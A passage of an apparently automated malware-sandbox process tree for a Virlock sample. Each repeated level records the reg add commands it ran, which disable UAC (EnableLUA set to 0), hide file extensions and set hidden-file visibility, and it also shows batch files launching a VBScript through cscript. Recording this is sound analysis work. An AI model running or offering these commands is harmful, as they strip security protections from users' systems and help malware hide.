                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\nUggcYUk.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                      50⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:2216
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                          51⤵
                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                          PID:4224
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                    48⤵
                                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                    PID:3328
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                    48⤵
                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                    PID:3896
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                    48⤵
                                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                    PID:3984
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                      49⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:3760
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\QAUYgcIo.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                      48⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:3912
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                          49⤵
                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                          PID:4880
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                    46⤵
                                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                    PID:5828
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                    46⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:5952
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                      46⤵
                                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                      PID:1696
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\kogskAwQ.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                      46⤵
                                                                                                                                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                      PID:4400
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                        47⤵
                                                                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                        PID:616
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                  44⤵
                                                                                                                                                                                                                                                                                                                                                                  • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                  PID:1444
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                  44⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:4824
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                    44⤵
                                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                    PID:2748
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\rEEAgwQk.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                    44⤵
                                                                                                                                                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                    PID:5500
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                      cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                      45⤵
                                                                                                                                                                                                                                                                                                                                                                      • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                      PID:5824
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                42⤵
                                                                                                                                                                                                                                                                                                                                                                • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                PID:3300
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                42⤵
                                                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                PID:4756
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                42⤵
                                                                                                                                                                                                                                                                                                                                                                • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                PID:712
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lcEIgoME.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                42⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:4080
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                    cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                    43⤵
                                                                                                                                                                                                                                                                                                                                                                    • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                    PID:1060
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                              40⤵
                                                                                                                                                                                                                                                                                                                                                              • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                              PID:6036
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                              40⤵
                                                                                                                                                                                                                                                                                                                                                                PID:1328
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                40⤵
                                                                                                                                                                                                                                                                                                                                                                • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                PID:5884
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\eeYookcI.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                40⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:1840
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                    cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                    41⤵
                                                                                                                                                                                                                                                                                                                                                                    • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                    PID:1168
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                              38⤵
                                                                                                                                                                                                                                                                                                                                                              • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                              PID:5152
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                              38⤵
                                                                                                                                                                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                              • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                              PID:4328
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                              reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                              38⤵
                                                                                                                                                                                                                                                                                                                                                              • UAC bypass
                                                                                                                                                                                                                                                                                                                                                              PID:1564
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\UEAwokUw.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                              38⤵
                                                                                                                                                                                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                              PID:5420
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                39⤵
                                                                                                                                                                                                                                                                                                                                                                • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                PID:3148
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                          36⤵
                                                                                                                                                                                                                                                                                                                                                          • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                          • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                          PID:3080
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                          36⤵
                                                                                                                                                                                                                                                                                                                                                          • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                          PID:5976
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                          36⤵
                                                                                                                                                                                                                                                                                                                                                          • UAC bypass
                                                                                                                                                                                                                                                                                                                                                          • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                          PID:1548
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\SkQYIkoU.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                          36⤵
                                                                                                                                                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                          PID:2388
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                            37⤵
                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                            PID:4840
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                      34⤵
                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                      PID:2460
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                      34⤵
                                                                                                                                                                                                                                                                                                                                                        PID:3460
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                        34⤵
                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                        PID:2716
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\VcMoYgkA.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                        34⤵
                                                                                                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                        PID:1180
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                          35⤵
                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                          PID:5076
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                    32⤵
                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                    PID:6040
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                    32⤵
                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                    PID:1308
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                    32⤵
                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                    PID:1288
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\LMkwkckg.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                    32⤵
                                                                                                                                                                                                                                                                                                                                                      PID:2888
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                        33⤵
                                                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                        PID:5544
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                  30⤵
                                                                                                                                                                                                                                                                                                                                                  • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                  PID:5896
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                  30⤵
                                                                                                                                                                                                                                                                                                                                                    PID:2004
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                    30⤵
                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                    PID:1148
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iMcQYkEo.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                    30⤵
                                                                                                                                                                                                                                                                                                                                                      PID:3736
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                        31⤵
                                                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                        PID:1960
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                  28⤵
                                                                                                                                                                                                                                                                                                                                                  • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                  • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                  PID:3300
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                  28⤵
                                                                                                                                                                                                                                                                                                                                                    PID:2440
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                    28⤵
                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                    PID:2820
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\CcsQsQgI.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                    28⤵
                                                                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                    PID:3208
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                      cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                      29⤵
                                                                                                                                                                                                                                                                                                                                                      • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                      PID:1412
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                26⤵
                                                                                                                                                                                                                                                                                                                                                • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                PID:3036
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                26⤵
                                                                                                                                                                                                                                                                                                                                                  PID:5436
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                  26⤵
                                                                                                                                                                                                                                                                                                                                                  • UAC bypass
                                                                                                                                                                                                                                                                                                                                                  • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                  PID:5476
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\YiwgkwQs.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                  26⤵
                                                                                                                                                                                                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                  PID:5108
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                    cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                    27⤵
                                                                                                                                                                                                                                                                                                                                                    • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                    PID:2844
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                              24⤵
                                                                                                                                                                                                                                                                                                                                              • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                              PID:3760
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                              24⤵
                                                                                                                                                                                                                                                                                                                                                PID:4996
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                24⤵
                                                                                                                                                                                                                                                                                                                                                • UAC bypass
                                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                PID:5092
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
